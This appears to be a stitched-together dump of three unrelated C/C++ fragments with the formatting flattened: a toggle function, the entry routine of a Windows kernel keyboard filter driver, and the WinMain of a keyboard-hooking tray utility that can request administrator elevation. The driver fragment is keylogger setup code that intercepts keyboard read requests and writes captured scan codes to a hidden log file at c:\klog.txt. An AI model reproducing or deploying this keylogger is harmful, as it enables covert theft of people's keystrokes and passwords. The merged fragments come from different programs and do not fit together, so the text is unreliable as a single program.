void ToggleState() { if (ENABLED()) { UnhookKeyboard(); KillTimer(g_hwnd, CHECKTIMER); } else { SendMessage(g_hwnd, WM_UPDATESETTINGS, 0, 0); HookKeyboard(); } }
//@@@@@@@@@@@@@@@@@@@@@@@@ // IRQL = passive level //@@@@@@@@@@@@@@@@@@@@@@@@@ extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS Status = {0}; DbgPrint("Keyboard Filter Driver - DriverEntry\nCompiled at " __TIME__ " on " __DATE__ "\n"); ///////////////////////////////////////////////////////////////////////////////////////// // Fill in IRP dispatch table in the DriverObject to handle I/O Request Packets (IRPs) ///////////////////////////////////////////////////////////////////////////////////////// // For a filter driver, we want pass down ALL IRP_MJ_XX requests to the driver which // we are hooking except for those we are interested in modifying. for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) pDriverObject->MajorFunction[i] = DispatchPassDown; DbgPrint("Filled dispatch table with generic pass down routine...\n"); //Explicitly fill in the IRP's we want to hook pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; //Go ahead and hook the keyboard now HookKeyboard(pDriverObject); DbgPrint("Hooked IRP_MJ_READ routine...\n"); //Set up our worker thread to handle file writes of the scan codes extracted from the //read IRPs InitThreadKeyLogger(pDriverObject); //Initialize the linked list that will serve as a queue to hold the captured keyboard scan codes PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); //Initialize the lock for the linked list queue KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); //Initialize the work queue semaphore KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG); //Create the log file IO_STATUS_BLOCK file_status; OBJECT_ATTRIBUTES obj_attrib; CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt"; STRING ntNameString; UNICODE_STRING uFileName; RtlInitAnsiString( &ntNameString, ntNameFile); RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE ); InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status, NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0); RtlFreeUnicodeString(&uFileName); if (Status != STATUS_SUCCESS) { DbgPrint("Failed to create log file...\n"); DbgPrint("File Status = %x\n",file_status); } else { DbgPrint("Successfully created log file...\n"); DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile); } // Set the DriverUnload procedure pDriverObject->DriverUnload = Unload; DbgPrint("Set DriverUnload function pointer...\n"); DbgPrint("Exiting Driver Entry......\n"); return STATUS_SUCCESS; }
// Entry point int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow) { g_hinst = hInst; // Get ini path GetModuleFileName(NULL, inipath, ARRAY_SIZE(inipath)); PathRemoveFileSpec(inipath); wcscat(inipath, L"\\"APP_NAME".ini"); wchar_t txt[10]; // Convert szCmdLine to argv and argc (max 10 arguments) char *argv[10]; int argc = 1; argv[0] = szCmdLine; while ((argv[argc]=strchr(argv[argc-1],' ')) != NULL) { *argv[argc] = '\0'; if (argc == ARRAY_SIZE(argv)) break; argv[argc++]++; } // Check arguments int i; int elevate=0; for (i=0; i < argc; i++) { if (!strcmp(argv[i],"-elevate") || !strcmp(argv[i],"-e")) { // -elevate = create a new instance with administrator privileges elevate = 1; } } // Check if elevated if in >= Vista OSVERSIONINFO vi = { sizeof(OSVERSIONINFO) }; GetVersionEx(&vi); vista = (vi.dwMajorVersion >= 6); if (vista) { HANDLE token; TOKEN_ELEVATION elevation; DWORD len; if (OpenProcessToken(GetCurrentProcess(),TOKEN_READ,&token) && GetTokenInformation(token,TokenElevation,&elevation,sizeof(elevation),&len)) { elevated = elevation.TokenIsElevated; } } // Register some messages WM_UPDATESETTINGS = RegisterWindowMessage(L"UpdateSettings"); // Check AlwaysElevate if (!elevated) { GetPrivateProfileString(L"Advanced", L"AlwaysElevate", L"0", txt, ARRAY_SIZE(txt), inipath); if (_wtoi(txt)) { elevate = 1; } // Handle request to elevate to administrator privileges if (elevate) { wchar_t path[MAX_PATH]; GetModuleFileName(NULL, path, ARRAY_SIZE(path)); int ret = (INT_PTR) ShellExecute(NULL, L"runas", path, NULL, NULL, SW_SHOWNORMAL); if (ret > 32) { return 0; } } } // Create window WNDCLASSEX wnd = { sizeof(WNDCLASSEX), 0, WindowProc, 0, 0, hInst, NULL, NULL, (HBRUSH)(COLOR_WINDOW+1), NULL, APP_NAME, NULL }; wnd.hCursor = LoadImage(hInst, L"kill", IMAGE_CURSOR, 0, 0, LR_DEFAULTCOLOR); RegisterClassEx(&wnd); g_hwnd = CreateWindowEx(WS_EX_TOOLWINDOW|WS_EX_TOPMOST|WS_EX_LAYERED, wnd.lpszClassName, NULL, WS_POPUP, 0, 0, 0, 0, NULL, NULL, hInst, NULL); SetLayeredWindowAttributes(g_hwnd, 0, 1, LWA_ALPHA); // Almost transparent // Tray icon InitTray(); UpdateTray(); // Hook keyboard HookKeyboard(); // TimerCheck GetPrivateProfileString(L"General", L"TimerCheck", L"0", txt, ARRAY_SIZE(txt), inipath); if (_wtoi(txt)) { SetTimer(g_hwnd, CHECKTIMER, CHECKINTERVAL, NULL); } // Message loop MSG msg; while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }